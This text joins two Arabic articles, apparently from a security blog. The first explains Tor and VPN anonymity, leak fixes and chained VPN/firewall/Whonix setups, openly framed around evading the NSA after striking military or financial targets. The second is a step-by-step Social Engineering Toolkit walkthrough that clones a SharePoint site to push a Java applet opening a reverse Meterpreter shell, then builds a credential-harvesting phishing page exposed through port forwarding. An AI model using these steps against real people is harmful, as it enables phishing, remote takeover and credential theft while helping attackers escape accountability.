ماذا يعني التور: الـTOR وهي اختصار لـThe Onion Router، الذي يعتمد تغليف الرسائل بطبقات تشفير مماثلة لطبقات البصل (ولذلك اللوجو الخاص بـTOR عبارة عن بصلة)، ومن ثم يتم إرسال هذه الرسائل المشفرة عبر سلسلة من العقد الشبكية المسماة بـOnion Routers أو Relays، وعندما تصل الرسالة إلى المُستقبِل يتم فك تشفيرها وقراءة معطياتها مع بقاء هوية المرسل سرية لأن كل عقدة في المسار تعرف مواقع العقدتين السابقة واللاحقة لها فقط. وهذه العقد هي:

  1. EntryNode: ويتم اختيار هذه العقدة بشكل تلقائي وهي أول عقدة يمر فيها الـTor، وهي العقدة الوحيدة التي تعرف عنوان الـIP الخاص بالمستخدم.

حسب المخطط أعلاه: في الـRouter A عندما تصل الحزمة من العميل يتم إزالة طبقة من التشفير عن الحزمة لمعرفة من أين قادمة وأين سيتم إرسالها. (تسمى هذه الطبقات Peels أو القشور).

  1. Middle Relays: وتقوم باستقبال حزمة البيانات من العقدة الأولى ويكون عنوان الـIP القادمة منه الحزمة هو عنوان العقدة الأولى.

حسب المخطط أعلاه: في الـRouter B يتم فك طبقة تشفير أخرى عن الحزمة لمعرفة إلى أين سيتم إرسالها.

  1. Exit Relay: وهي العقدة الأخيرة التي تصل إليها حزمة البيانات، هي أخطر عقدة لأنها العقدة التي يوجه لها اللوم عند القيام بأي ضربة أو هجوم إلكتروني فكما نعلم أن هذه العقد تدار من قبل مجموعة من المتطوعين فعلى مدير هذه العقدة أن يكون جاهز ومستعد للتعامل مع الجهات القانونية.. والبيانات التي تخرج من العقدة تكون غير مشفرة.

حسب المخطط أعلاه: في الـRouter C يتم إزالة أخر بقة من التشفير عن الحزمة أي أن الحزمة تصل غير مشفرة لهذا قام مطورين الـTor بإضافة (إضافة HTTPs Everywhere) للمتصفح ليتم تشفير الحزمة في العقدة الأخيرة.

مخطط التشفير لمن يريد معرفة مفاتيح التشفير التي تتم بين الحزم وكيف تتم:

Encryption Keys

أو شاهد الفيديو التالي:

https://www.youtube.com/watch?v=LAcGiLL4OZU

** ملاحظة: تتغير هذه العقد كل 10 دقائق أو أكثر وذلك لتضليل الجهات الرقابية في حالة قامت في تنفيذ هجوم Timing Correlation Attacks وذلك حتى يصعب ربط الأنشطة أو الهجمات التي تقوم بها على الإنترنت مع بعضها، ولكن 10 دقائق كافية لتكون دليل إدانة عليك في حالة قامت الـNSA في السيطرة على نقطة البداية (العميل) ونقطة النهاية (Exit Node). إن تنفيذ هذا الهجوم يتطلب أن تكون على قائمة الاشتباه من قبل الـNSA.

الصورة التالية توضح هجوم Timing Correlation Attacks وهي مأخوذة من ملف سري تم تسريبه من الـNSA لمشروع اسمه SIGINT، وهذا الملف هو عبارة عن خطة لمهاجمة وكشف مستخدمين Tor.. الملف تابع للمخابرات البريطانية The Government Communications Headquarters (GCHQ)

Timing Correlation attacks

إلى هذا الحد سوف نكتفي في الحديث عن التور والـVPN وكيف يعمل كل منهم.

لنقوم بالانتقال إلى الجزء الثاني من مقالنا.

الجزء الثاني: ما الذي يستطيع أن يراه مزود الإنترنت الخاص بك ISP، وكيف نقوم في تجاوزه:

مزود الخدمة هو أكثر شيء يجب أن تخشاه وتحسب له حساب في البداية، كيف لا وهو من يقوم في نقل حزم البيانات من حاسوبك ومن ثم يقوم في تمريرها إلى المكان الذي تريد زيارته على الإنترنت (المسار).. إذن فمزود الخدمة يستطيع أن يعرف الأماكن التي تزورها وإذا كان معنيًا أو إذا طلب منه ذلك من قبل الجهات الحكومية يستطيع تعرية بروتوكولات الـHTTPs وتحويلها إلى HTTP ومعرفة ما الذي يتم إرساله داخل الحزم.

سنقسم حديثنا عن مزود الخدمة في حالتين: الحالة الأولى: في حالة استخدامك للـVPN، ماذا يستطيع أن يرى مزود الخدمة. والحالة الثانية: في حالة استخدامك للـTOR، ماذا يستطيع أن يرى.

  1. الحالة الأولى: ما الذي يستطيع أن يراه مزود الإنترنت في حالة استخدام للـVPN: بسبب أن الـVPN له خصائص معينة وبورتات محددة يستخدمها فإن مزود الخدمة يستطيع أن يعرف أنك تستخدم خدمة VPN ولكن لا يستطيع أن يعرف المسار الذي تسلكه الحزمة بالكامل فهو يعرف فقط عنوان السيرفر الذي دخلت له حزمة البيانات ولكن لا يعرف أين ذهبت ولا يستطيع أن يعرف ماذا يوجد بداخل الحزمة نهائيًا بسبب أنها قناة مشفرة.
  2. الحالة الثانية: ما الذي يستطيع أن يراه مزود الإنترنت في حالة استخدامك TOR: يستطيع أن يعرف أنك تقوم بالاتصال في عقدة وإجراء نقلة مشفرة، ولكن لا يستطيع أن يعرف المسار الذي يتم سلوكه بعد العقدة الأولى وما هي المعلومات المنقولة داخل الحزمة.

الآن بعد أن عرفنا ما الذي يقوم مزود الإنترنت الـISPs في مشاهدته ومعرفته عنك في حالة قيامك في التصفح أو ممارسة الأنشطة على الإنترنت، لمزيد من التفاصيل إليك الرابط التالي الذي يتحدث عن أكبر مزودي الإنترنت في العالم ومدة احتفاظهم بسجلاتك وممارساتك للأنشطة على الإنترنت:

https://torrentfreak.com/how-long-does-your-isp-store-ip-address-logs-120629/

كيف تقوم بتجاوز مزودي الإنترنت وجعل الأمر صعب للغاية عليهم لمعرفة أنك تستخدم Tor أو VPN ولكن ليس مستحيلاً….

  1. بالنسبة لتأمين اتصال الـVPN: يجب عليك أن تقوم بشراء خدمة VPN من إحدى الشركات التي تحافظ على خصوصيتك والتي لا تقوم بتسجيل أية ملفات Logs (سجلات) للأحداث والأنشطة التي تقوم بها من خلال قناة الـVPN، وأفضل هذه الشركات هي:

IPvanish: وهي تتميز في أنها تقدم جميع أنواع الـVPN السريعة جدًا بالإضافة إلى أنها لا تحتفظ بسجلات لما تقوم به من أنشطة على الإنترنت وأهم نقطة هي أنها تقبل الدفع بالعملة المشفرة Bitcoin.. وهي عملة مشفرة لا تستخدم فيها معلومات شخصية أو بطاقات ائتمان وتستطيع الحصول عليها بأكثر من طريقة.

أيضًا من يميز شركة www.ipvanish.com أنها تمتلك 422 سيرفر موزعة حول العالم.

وهناك العديد من الشركات المشابهة التي تقدم نفس الخدمات والعروض، تستطيع الاطلاع عليها من الرابط التالي الذي يقدم مقارنة تفصيلية بين هذه الشركات:

https://www.deepdotweb.com/vpn-comparison-chart/

اقرأ المقال التالي للمزيد من التفاصيل الدقيقة:

https://torrentfreak.com/which-vpn-providers-really-take-anonymity-seriously-111007/

الآن بعد أن قمت بتأمين اتصال الـVPN الخاص بك وأثناء قيام بعملية اختبار اختراق واتصالك مشفر ومأمن من خلال خدمة الـVPN وفجأة حدث أمر غير متوقع وانقطع الاتصال بين جهازك وخادم الـVPN (تم فصل خدمة الـVPN)، هنا سيكون انتهى أمرك وأمر خصوصيتك إذا لم تنتبه لهذه النقطة المهمة وسيتم معرفة هويتك الحقيقية وذلك لأن الضربة سوف تقفز من عنوان الـIP الخاص بالـVPN إلى عنوان الـIP الخاص بك (الحقيقي).. أي أن الحزم ستكون خارج القناة المشفرة، كيف تقوم بحل هذه المشكلة؟! تابع معي…

هناك أكثر من حل ومنها أن تقوم بإضافة بعض الـFirewall Filters and Rules في الويندوز أو نظام لينكس ولكن هذا يتطلب وقت طويل وإعدادات كثيرة قد تسبب مشاكل في الاتصال بالإنترنت.

والبديل هو استخدام برنامج VPNetMon، فيقوم هذا البرنامج بمنع أي اتصال غير أمن بعد انقطاع الاتصال بالـVPN. (بلغة بسيطة: لا يوجد إنترنت إلا بوجود الـVPN).

VPNetMon

“VPNetMon continuously watches the IP addresses of your PC. If the IP address of your VPN is not detected anymore, VPNetMon closes specified programs instantly. The program reacts so quickly that a new connection through your real IP will not be established by these applications,” creator Felix told TorrentFreak.

بديل لهذا البرنامج: سوف نقوم بالانتقال في المراحل المتقدمة إلى الجدار الناري Pfsense.

بعد أن قمنا بتأمين اتصال الـVPN بحيث أنه لا يتم إرسال أي ترافيك في حالة انقطاع الاتصال مع سيرفر الـVPN… سنقوم بالتحدث عن كارثة أخرى لا ينتبه لها إلا القليل وهو ما يسمى بالـDNS Leak (تسريب الـDNS)…

DNS Leak

الـDNS Leak في الـVPN، وهو باختصار وببساطة خلل ينتج بسبب استمرار استخدام عنوان الـDNS الخاص بمزود الخدمة بدلاً من استخدام الـDNS الخاص بالـVPN:

When you use a VPN service, the DNS request should instead be routed through the VPN tunnel to your VPN provider’s DNS servers (rather than those of your ISP(

للمزيد من التفاصيل:

http://www.hoylen.com/articles/it/internet/dns-leaks/

كيف تقوم في حماية نفسك من الـDNS Leak: شخصيًا أفضل تجنب أنظمة ويندوز ولكن إذا كنت لا تستطيع الاستغناء عنها، فهنالك طريقتين لحل مشكلة التسريف:

  1. الطريقة الأوتوماتيكية: بتحميل برنامج DNSfixsetup.
  2. الطريقة اليدوية: وتسمى Manually Clearing the DNS، وهي نفس ما يقوم به برنامج DNSfixsetup ولكن هنالك أشخاص لا تثق في الملفات التنفيذية. فيمكنه القيام بها يدويًا من خلال الرابط أدناه:

https://www.dnsleaktest.com/how-to-fix-a-dns-leak.html

الآن تبقى خطوة واحدة مهمة جدًا، وهي حماية الـVPN من ثغرة الـWebRTC وهي اختصار Web Real-Time Communication وتعريفها:

هو بروتوكول مفتوح المصدر يمكنك من إجراء مكالمات الفيديو من خلال عدة واجهات أو مواقع تُقدم هذه الميزة اعتمادًا على WebRTC.

بعض خدمات الـVPN (وتحديدًا المجانية) ورغم أنها تُغير رقم الـIP إلا أنها قد تترك ثغرة يسترب من خلالها هذا الرقم عندما يكون بروتوكول WebRTC مُفعلاً.

كيف تقوم بحل مشكلة الـWebRTC:

  • Mozilla Firefox: Type “about:config” in the address bar. Scroll down to “media.peerconnection.enabled”, double click to set it to false.

  • Google Chrome: Install Google official extension WebRTC Network Limiter.

انتهينا من تأمين اتصال الـVPN ننتقل إلى الـTor…

بالنسبة لتأمين الاتصال في الـTor:

* لا تستخدم ويندوز نهائي وذلك بسبب أن نظام (مايكروسوفت) يحتوي على ثغرات كثيرة، يمكنك استخدام نظام لينكس وتحديدًا Whonix فهي من أقوى التوزيعات المخصصة للتخفي والخصوصية.

* إياك والسماح للترافيك بالمرور من جهازك إلى الإنترنت بدون Tor، بلغة أخرى:

Do not allow any network traffic onto the Internet unless it goes through Tor.

ولحل هذه المشكلة التي تؤدي لكشف هويتك نقوم باستخدام هذا الجهاز اسمه (Anonabox) الموقع الرسمي له: https://www.anonabox.com وهو بسعر: 119$

Anonabox

أجهزة أخرى تقوم في نفس الغرض:

أو من خلال توزيعة Whonix أعتقد أنه يفي بالغرض… أما إذا كنت مصر على استخدام نظام الويندوز فاستخدم: Tortilla وهي أداة قوية تم الإفصاح عنها في أحد مؤتمرات BlackHat من قبل الباحث الأمني Jason Geffner أحد محترفي شركة CrowdStrike، وظيفتها:

Tortilla is a free and open-source solution for Windows that
transparently routes all TCP and DNS traffic through Tor.

source : https://github.com/CrowdStrike/Tortilla

* أيضًا يجب عليك التأكد من تشفير الهاردديسك الخاص بك وتستطيع عمل ذلك أثناء تنصيبك لنظام لينكس فهو يحتوي على هذه الميرة لقراءة المزيد عن نظام تشفير Luks Encryption and LVM:

https://en.wikipedia.org/wiki/Linux_Unified_Key_Setup

* إياك وتفعيل الجافا أو الفلاش أو تحميل أي ملفات مثل الـWord وPDF وأيضًا إياك واستخدام محرك البحث جوجل فهنالك محركات أخرى تستطيع استخدامها مثل:

https://startpage.com/

* لا تقم بكتابة أو إعطاء أي معلومات شخصية عنك أو عن نظامك مكان إقامتك واتصالك ولا تقم بشراء أي أشياء من الإنترنت باستخدم أيًا من البطاقات الإلكترونية المصرفية. هنالك نقاط كثيرة لا أستطيع ذكرها لضيق الوقت ولطول المقال، تستطيع قراءة المزيد من هنا:

http://lifehacker.com/how-can-i-stay-anonymous-with-tor-1498876762

* بالإضافة إلى أننا سوف نتحدث عن أهم نقطة في جانب حماية الـTor وهي إضافة عقدة تسمى Bridge Relays…. ما هو دور هذه العقدة: طبعًا بما أننا قلنا في بداية المقال أن عقد الإنترنت للعامة، لمشاهدة عقد الـTor من هنا:

https://torstatus.blutmagie.de/

ويستطيع مزود خدمة الإنترنت الخاص بك عمل نظام فلترة لحظرها وأيضًا يستطيع أن يعرف أن الترافيك الخاص بك يتدفق عبر عقد الـTor ولكن لا يستيع معرفة مساره أو قراءة محتواه فدور هذه العقدة هو عدم تمكين مزود الخدمة الخاص بك من معرفة أنك تقوم باستخدام Tor من الأساس وبالتالي تجاوز الحظر في حالة كان موجود بشكل افتراضي من قبل الشركة وأيضًا تجاوز أحد المشاريع التابعة للـNSA وهو مشروع xKeyscore وهذا المشروع العملاق يقوم بالسيطرة على العمود الفقاري للإنترنت وتستطيع الـNSA الدخول إلى كبائن الاتصالات من خلال هذا المشروع وتنفيذ أمر إظهار كل مستخدمين الـTor في بدل X ويتم تصنيفهم داخل المشروع على أنهم متطرفين:

NSA’s XKeyscore Source Code Leaked: All Tor Users Classified As ‘Extremists’

الصورة التالية تبين الفرق بين استخدام الـTor بشكل عادي واستخدامة بواسطة عقدة الجسر:

Bridge Relays

تستطيع الحصول على هذه الجسور من خلال طلبها من الموقع الخاص:

https://bridges.torproject.org/options

فهو يقدم لك عقدتين، أو من خلال إرسالة رسالة إلى العنوان التالي:

bridges@bridges.torproject.org

وسيكون نص الرسالة: get bridges

وتكون الجسور بالشكل التالي:

141.201.27.48:443 4352e58420e68f5e40bf7c74faddccd9d1349413

ولكن مؤخرًا تطورت شركات خدمات الإنترنت وأصبحت تقوم بتنصيب أنظمة وصناديق خاصة تستطيع تحليل ومعرفة أن الترافيك إلى عقد الـTor، فقام مطوري الـTor بالرد عليهم بتطوير تقنية تسمى Pluggable Transports وهذه التقنية تقوم في معالجة الترافيك الذي يمر من العميل إلى عقدة (الجسر) بحيث لا يتم التعرف عليه على أنه تدفق ترافيك للـTor فالمراقبين (الحكومات أو شركات الإنترنت) لا تستطيع التعرف عليه وبالتالي تقل احتمالات حظره أو مراقبته.. في بداية التطوير كان هنالك نوعين من الـPluggable Transports، وهما:

* obfs and obfs2 => Obfsproxy  تنتمي للمجموعة

وكانت ليست محصنة ضد الكشف، لو قامت الحكومات وشركات الإنترنت بمراقبتها لفترات طويلة وبعمق ستقوم في التعرف عليها وأيضًا تم توجيه انتقادات كثيرة لهذين الجيلين فتم تطويرها إلى:

* obfs3

* scramblesuit

* fte

* obfs4

لنتكلم عن هذه الـPluggable Transports بعمق أكثر وما هي التغيرات التي تحدثها على الترافيك عن كثب (في حقيقة الأمر هذا موضوع ويل ومعقد جدًا يحتاج إلى مقال خاص به لوحده سأتكلم عن أهمها فقط) واترك الباقي لكم:

أكثر هذه الطبقات المعروفة للمستخدمين هي طبقة obfs4 وهي: طبقة من التشويش على الـTor

is an obfuscation layer on top of Tor TLS. It negotiates session keys

and then encrypts everything between client and server, with no plaintext

headers. The result looks like a uniformly random byte stream, with no fixed

byte patterns to match on. 

ما الذي يحدث للترافيك بعد أن أقوم بعمل عقدة جسر بطبقة obfs4، شاهد الصورة:

Bridge Relays Encryption

طبقة FTE – Format Transforming Encryption: ما الذي تحدثه على الترافيك تقوم في معالجته وتشفيره ليظهر بصورة لا يتعرف عليها النظام، مثال:

Format Transforming Encryption

طبقة Meek: هي طبقة احترافية نوعًا ما، لم يتم إطلاقها بعد فهي ما زالت تحت التوير وتقوم هذه الطبقة بخداع أنظمة المراقبة من خلال تمويه الترافيك على أن يظهر كترافيك عادي (HTTP) من خلال استخدام خدعة تقنية تظهر أن المسار الهدف هو Google Subdomains.. صورة توضح:

Meek Layer

إلى هنا وسأنهي الحديث عن هذه الطبقات وتقنيات التشويش في الجسور، تستطيع الاستكمال والتعمق من خلال الرابط التالي:

https://www.torproject.org/docs/pluggable-transports.html.en

وأيضًا تستطيع فهم الجسور وكيفية تركيبها من الرابط الرسمي:

https://www.torproject.org/docs/bridges#Understanding

الآن بما أننا انتهينا من تأميني الـTor والـVPN، سننتقل لتوضيح بسيط للفرق بينهم ومن ثم سنتكلم عن عمل شبكات معقدة وذات سلاسل طويلة وقفزات كثيرة…

الفرق بين الـTor والـVPN:

VPN Vs Tor

باختصار بسيط وواضح:

* VPNs provide privacy: privacy protects your data.

* TOR provides anonymity: anonymity protects you.

الجزء الثالث: كيف أقوم بعمل شبكات معقدة وقفزات طويلة (دمج الـVPN مع الـTOR) وعمل سلسلة من شبكات الـVPN وربطها مع بعضها لتجاوز الـNSA والـISP.

في بداية الأمر دعوني أخبركم بقاعدة قالها أحد خبراء أمن المعلومات ويدعى: The Grugq

Tor to VPN

باختصار إذا كانت بدايتك اتصال VPN ثم Tor وقمت بارتكاب جريمة إلكترونية أو مهاجمة شبكة عسكرية ستذهب للسجن، لماذا؟ الجواب: لأن الـVPN له نقطتين بداية ونهاية، البداية: العميل (أنت)، والنهاية: السيرفر (خدمة الـVPN) ثم يتبعها عقدات، لنوضح أكثر…

أن هيكيلة الشبكة سيكون كالتالي حسب ما قال الباحث الأمني (فبالتالي سأذهب للسجن)!!

Me –> VPN –> Tor (تمر عبر ثلاث قفزات) –> Internet (site)

الباحث الأمني افترض أسوأ الحالات للدخول إلا السجن يجب تحقيق الشروط التالية:

* سيطرة الـNSA على عقدة الخروج Exit Node.

* سيطرة الـNSA على عقدة الدخول Entry Node.

* سيطرة وتمكن الـNSA من اختراق أو فك تشفير قناة الـVPN المشفرة.

بعد السيطرة على عقدة الدخول سيتبين أن الـIP القادم للعقدة هو من سيرفر VPN وبالتالي ستقوم الـNSA بطريقة قانونية بطلب ملفات الـLogs من السيرفر إذا لم تستطيع اختراق السيرفر من الأساس والـLogs سيحتوي على عنوان الـIP الخاص بك (الحقيقي) بالإضافة للبيانات التي كانت تنقل عبر القناة المشفرة والنتيجة: GAME OVER

فدائمًا عليك أن تفترض أسوأ الاحتمالات، لأنه يوجد قاعدة في عالم الهاكينج والتخفي تقوم:

No one is going to go to jail for you.

والمقصد من هذه العبارة أنه لن يدخل صاحب سيرفر (خدمة الـVPN) السجن بسببك من أجل 20 أو 30 دولار تدفعها شهريًا.

وأيضًا لحماية نفسك قم بالشراء من خلال العملة المشفرة Bitcoin، كما سبق وذكرنا في بداية المقال وقم في استخدام النوع OpenVPN بقوة تشفير: 2084 bit RSA Keys and AES-256

NO LOGS :

  • No logs. No traffic logs. No connection logs. No DNS logs.

  • We NEVER log your internet activity or your real IP address.

  • We DO keep your email address and payment history.

  • Please read our full announcement on our No Logs policy.

وهذه الشروط موجودة لدى كل من شركة:

www.ipvanish.com

www.blackvpn.com

رغم كل هذا فإن سيرفرات الـVPN التي لا تقوم بتسجيل أنشطة المستخدمين إذا تورطت في عمليات يتم إرسال رسائل من الـNSA لها تسمى هذه الرسائل: National Security Letter وهي تصدر من الحكومة تطلب معلومات لشيء يخصها.

مثال عليها:

https://upload.wikimedia.org/wikipedia/commons/a/a4/EFF-IA_National_security_letter.pdf

أيضًا تذكر هذه القواعد مهما قمت في تأمين اتصالاتك: (أبقها في العقل الباطني)

  • [i]f someone tells you ‘you will be completely anonymous, [because] you’ll have VPN running all the time’, that’s a lie.

  • …you have absolutely no way to know for sure how safe a “No logs” claim really is. Trusting your life to a no logs VPN service it is like gambling with your life in the Russian roulette

  • [a]nyone who runs a large enough IT infrastructure knows that running that infrastructure with ZERO logs is impossible.

بعد كل هذه العقد العنقودية والتشفيرات والتحذيرات ومحاولة إخفاء كل شيء لماذا كل هذا التشاؤوم والشك في خدمات الـVPN والـTor!!

الإجابة: سأجيب بقاعدة مهمة في عالم الهاكينج والتخفي والتي تقول:

You can be a criminal, you can be famous, but you cannot be a famous criminal.

أي أنك تستطيع أن تصبح مجرم أو تصبح مشهور في عالم الإنترنت المظلم ولكن لا ستتطيع أن تصبح مجرم مشهور في نفس الوقت فأنت تقوم في استفزاز أكبر قوة على وجه الأرض، ففي مبنى الـNSA المحصن يقبع عباقرة من علماء الرياضيات وفك التشفير والاختراق فلو قمت بضرب أحد الأهداف الموجعة للحكومة مثل ضرب إحدى الشركات العسكرية لصناعة الصواريخ والحصول على شيفرات التصنيع تأكد بأن الـNSA ستقوم بضرب الكابلات البحرية الملتفة حول الكرة الأرضية ومراقبتها في الـ1بت للوصول إليك في أي بقعة من بقاع العالم كنت.

الآن للنتقل إلى مخططات الشبكات والعقد العنقودية المتقدمة التي تستطيع أن توفر لك حماية في حالة قمت بضرب أحد الأهداف الاستراتيجية أو تسريب معلومات مالية هامة..

  1. الخطة الأولى:

VPN Without Tor

* الاتصال باستخدام VPN بدون Tor: السيرفر الهدف يشاهد الـIP الخاص بالـVPN، مزود الإنترنت الخاص بك يشاهد الـIP الخاص بالـVPN.

سلبيات:

قناة مشفرة واحدة

مزود خدمة الـVPN لو قام بتسجيل الـLog، يستطيع مشاهدة كل بياناتك التي تنتقل داخل القناة، قفزة واحدة أي أنها لن تكون معضلة للـNSA.

كيف أقوم بإجراء تعقيدات وتعديلات على الخطة:

VPN With Tor

  1. قمنا بإضافة Firewall وهو pfsense وذلك لعدم السماح لأي ترافيك في المرور بدون اتصال VPN، أي أن القناة أصبحت كالتالي:

PC -> Ubuntu VM -> Pfsense VM with VPN -> TorGateway(whonix) -> Internet

توضيح أكثر:

Anything running in workstation VMs attached to this VirtualBox internal network can only access the Internet through the pfsense VM and its VPN tunnel. Applications and VPN networking are isolated in separate VMs (workstation and pfSense VMs, Respectively).

قمنا بعمل قفزة Tor بعد قناة الـVPN المشفرة وذلك لسببين: الأول: لزيادة الحماية (قفزة الـTor تمر عبر ثلاث نقاط) وبالتالي أصبح عندي 4 ممرات مشفرة تمر بها البيانات قبل الوصول إلى المسار الهادف، السبب الثاني: لنتمكن من تصفح الإنترنت المظلم Onion Domains.

احتمالات كشف هويتك:

سنبدأ من نهاية العقدة وهي Tor هنالك احتمالات كثيرة لكشف الـTor منها:

  1. هجوم Timing Analysis Attacks: هذا الهجوم يتم من خلال مراقبة الأطراف النهائية (الـTor والعميل) يجب أن تكون على قائمة المشكوك بهم للـNSA، يتم عمل حسابات ومقارنات بين الترافيك الصادر والوارد وكشف هويتك. سنتكلم عنها بالتفصيل لاحقًا… ولنفترض أنها قامت بالهجوم ستصل إلى أن المصدر هو جهاز وهمي يتم تغذيته بالإنترنت بواسطة فايروول مزود بعقدة الـVPN.
  2. الاختراق عن طريق ثغرات برايفت لدى الـNSA في الـTor: هذا الهجوم يؤدي غلى اختراق جهاز المستخدم النهائي وهو في حالتنا VM جهاز وهمي مصدر الإنترنت له هو الـVPN القادم من الجدار الناري pfSense، بالتالي يجب على الـNSA لتصل إليك اختراق كل القفزات وكل الفايروولز وكل الـVMs وصولاً إليك كـHost PC وهذا ممكن لديهم…
  3. الخطة الثانية:

Two Firewalls

ملاحظة: إن أعداد هذه الاتصالات والتعقيدات يتطلب أيام في بعض الأحيان وذلك بسبب تعقيد وطول الخطوات.

وهي:

PC -> Ubuntu VM -> pfSense VM with VPN 1 -> pfSense VM with VPN 2 -> TorGateway(Whonix) -> Internet

قمنا في هذه الخة بإضافة 2 فايروول، الفايروول الأول يدخل الإنترنت من الجهاز الوهمي ويستخدم VPN1 ثم يقوم بالاتصال بالجدار الناري الثاني ويستخدم VPN2، ثم يقوم بالاتصال على جهاز وهمي وهو Whonix.. ثم الخروج إلى الإنترنت.

احتمالات كشف هويتك:

نفس ما تم ذكره في الخطة الأولى ينطبق على الخطة الثانية ولكن بنسبة أقل بسبب أنك تستخدم خدمتين VPN.

إلى هنا سأكتفي في الحديث عن الخطط، تستطيع إضافة أعداد أخرى من الـVPN مثل 4 أو 5 قنوات VPN… كلما زاد عدد الـVPN سيبطئ النت أكثر.

إلى هنا نكون انتهينا من المقال، وإن شاء الله في مقالات أخرى سنتحدث عن المزيد من الأمور عن الـTor الـVPN وكيف يتم الإيقاع بالهاكرز وما إلى ذلك. فحتى نلتقي في دروس أخرى، أستودعكم الله.

مقال : الهندسة الاجتماعية باستخدام Social Engineering Toolkit – SET

$
0
0

الهندسة الاجتماعية هي فن التلاعب في البشر من أجل خداعهم وإقناعهم بالقيام بأعمال تؤدي لكشف معلوماتهم السرية.
العديد من الهجمات في جانب المستخدم تتم بالاعتماد على خداع المستخدم من أجل كشف المعلومات الحساسة الخاصة بنظامه.
الهندسة الاجتماعية يمكن أن تتم عن طريق اجراء مكالمة هاتفية مخادعة أو أن يقوم مختبر الاختراق بتظاهر على أنه موظف مصرح له بالوصول للنظام. أفضل طريقة للقيام بهجوم هندسة اجتماعية ناجح هو امضاء وقت جيد لفهم النظام الهدف ومعرفة الطريقة التي يتصل بها المستخدم بالشبكة أو الموقع الهدف. يوجد العديد من الطرق والتقنيات الممتعة لهجمات الهندسة الاجتماعية والتي يجب أن تمضى وقتاً للتعرف عليها.

Social Engineering Toolkit :

هذه الأداة تم كتابتها من قبل مؤسس TrustedSec وهي أداة مفتوحة المصدر مكتوبة بلغة بايثون ومعدة للقيام بعمليات اختبار الاختراق عن طريق الهندسة الاجتماعية. هذه الأداة  تستخدم بكثرة من قبل مختبري الاختراق والحماية من أجل القيام بعملية فحص حالة الحماية للمنظمات أو الشركات الهدف. هذه الأداة موجودة بشكل افتراضي في نظام كالي لينكس ويمكن الوصول إليها باستخدام التعليمة.

استخدام SET :

يمكن الوصول إلى المستخدم الهدف عن طريق موقع يثق فيه هذا المستخدم ويمكن استخدام أي موقع ولكن يفضل استخدام موقع بسيط .المثال التالي هو عملية نسخ لموقع SharePoint (يمكن أن يكون أي موقع أخر) والهدف من ذلك هو استغلال الهدف من خلال فتح جلسة meterpreter والاتصال والتحكم بجهازه

استخدام اداة set

سوف نقوم بتنفيذ الهنجوم  Social-Engineer Attacks

social engineering
الصورة التالية تظهر أنواع الهجمات المختلفة الموجودة ضمن هذا الخيار :

optionsفي هذا المثال سوف نختار Website Attack Vectors

attack typeسوف نختار Java Applet Attack

attack typeسوف يتم سؤالك إذا كنت تريد استخدام أحد القوالب الموجودة في SET أو إذا كنت تريد نسخ موقع موجود فعلياً . القوالب الافتراضية ليست جيدة وانصحك بنسخ الموقع الذي تريد استخدامه في عملية الهجوم (في هذا المثال SharePoint)

الشاشة السابقة تظهر عدة خيارات عن كيفية نسخ الموقع من قبل المستخدم, في هذا المثال سوف نستخدم site-cloner option , بعد تحديد هذا الخيار فإن SET سوف تسأل سلسلة من الأسئلة مثل : NAT/Port forwarding و هو سؤال فيما إذا كان الهدف سوف يتصل مع جهازك عن طريق عنوانIP الخاص بنظام الكالي أو  أنه سوف يتصل عن طريق عنوان IP مختلف (مثل NAT address)

attack typeاختر yes إذا كانت عملية الاختبار لأشخاص ضمن شبكة خارجية أو اختر no إذا كانت عملية الاختبار لأشخاص ضمن نفس الشبكة الخاصة بك (شبكة داخلية)

attacker ip addresssعندما تقوم SET بتسليم payload إلى الهدف فهو بحاجة لأن يخبر الهدف كيف سيقوم بالاتصال العكسي مع كالي . هنا قم  بوضع عنوان IP الخاص بنظام كالي لينكس

urlعنوان الموقع الذي تريد نسخه من أجل استخدامه في الهجوم

meterpreterسوف نختار Metrpreter Memory Injection

port numberسوف يسأل عن رقم البورت الذي يجب عليه استخدامه
url to cloneسوف سنختار  Windows Meterpreter Reverce TCP

وبعد الإجابة على هذه الأسئلة فإن SET سوف يقوم برفع صفحة الموقع المزورة التي قمنا بإعدادها إلى سيرفر الأباتشي وتشغيل الميتاسبلويت وإعداد handler من أجل استقبال الاتصال العكسي .عندما يقوم الهدف بالدخول إلى هذا الموقع سوف تظهر له نافذه منبثقة Java pop-up والتي إذا عملت فسوف تؤمن جلسة اتصال عكسي مع نظام الكالي Reservr_TCP Meterpreter . يملتك مختبر الاختراق   صلاحيات كاملة على جهاز الهدف من خلال جلسة  meterpreter .النافذة المنبثة التي سوف تظهر للهدف تبدو طبيعية وهي غير مثيرة للشك

في الوقت الذي يقوم به الهدف بالضغط على run فإن جهازه سوف يتصل مع الكالي وسنحصل على جلسة meterpreter فعالة .

image3

التصيد Phshing :

هذا الهجوم يتم من خلال خلق صفحة تسجيل دخول مماثلة تماماً لصفحة تسجيل الدخول الخاصة بموقع معين ولكن في الصفحة المزورة يتم تغيير بعض البرامترات ليتم إرسال بيانات تسجيل الدخول الخاصة بالهدف إلى مختبر الاختراق ومن ثم إعادة توجيه الهدف إلى صفحة الموقع الأصلية.يمكن القيام بهذه العملية بشكل يدوي من خلال نسخ الكود المصدري لصفحة تسجيل الدخول الخاصة بالموقع ومن ثم التعديل عليها ورفعها إلى موقع إستضافة وإرسال رابط هذه الصفحة إلى الهدف أو يمكن القيام بهذه العملية بشكل اتوماتيكي باستخدام أداةSocial-Engineer  Toolkit (SET) وذلك عن طريق اختيار الخيار الأول Social-Engineering Attacks

social engineering attackثم الخيار الثاني

Website Attack Vectors

2ثم الخيار الثالث

C redential Harvester Attack Method

4ثم الخيار الثاني

Site Cloner
5

سوف يطلب إدخال عنوان IP المستخدم في هذه العملية للقيام بهذا الاختبار عبر الانترنت (خارج الشبكة المحلية) سنقوم بوضع عنوان IP الخارجي ومن ثم الدخول إلى إعدادات الراوتر والقيام بعملية  port forwarding or virtual server . يمكننا معرفة عنوان IP الخارجي من خلال البحث عبر google عن what is my IP

 

image18سنقوم بإدخال هذا العنوان ليتم إستخدامه في هذا الاختبار . الان يجب أن نقوم بالدخول إلى صفحة الإعدادات الخاصة بالراوتر والقيام بعملية توجيه كل الطلبات القادمة إلى عنوان IP الخارجي عبر المنفذ 80 إلى عنوان IP الداخلي . لمعرفة عنوان IP الداخلي من خلال التعليمة التالية

image19

من صفحة إعدادت الراوتر سنقوم بعملية التوجيه ( هذه الإعدادات تختلف بحسب نوعية الراوتر يمكن أن تكون موجودة في port forwarding or virtual server)

 

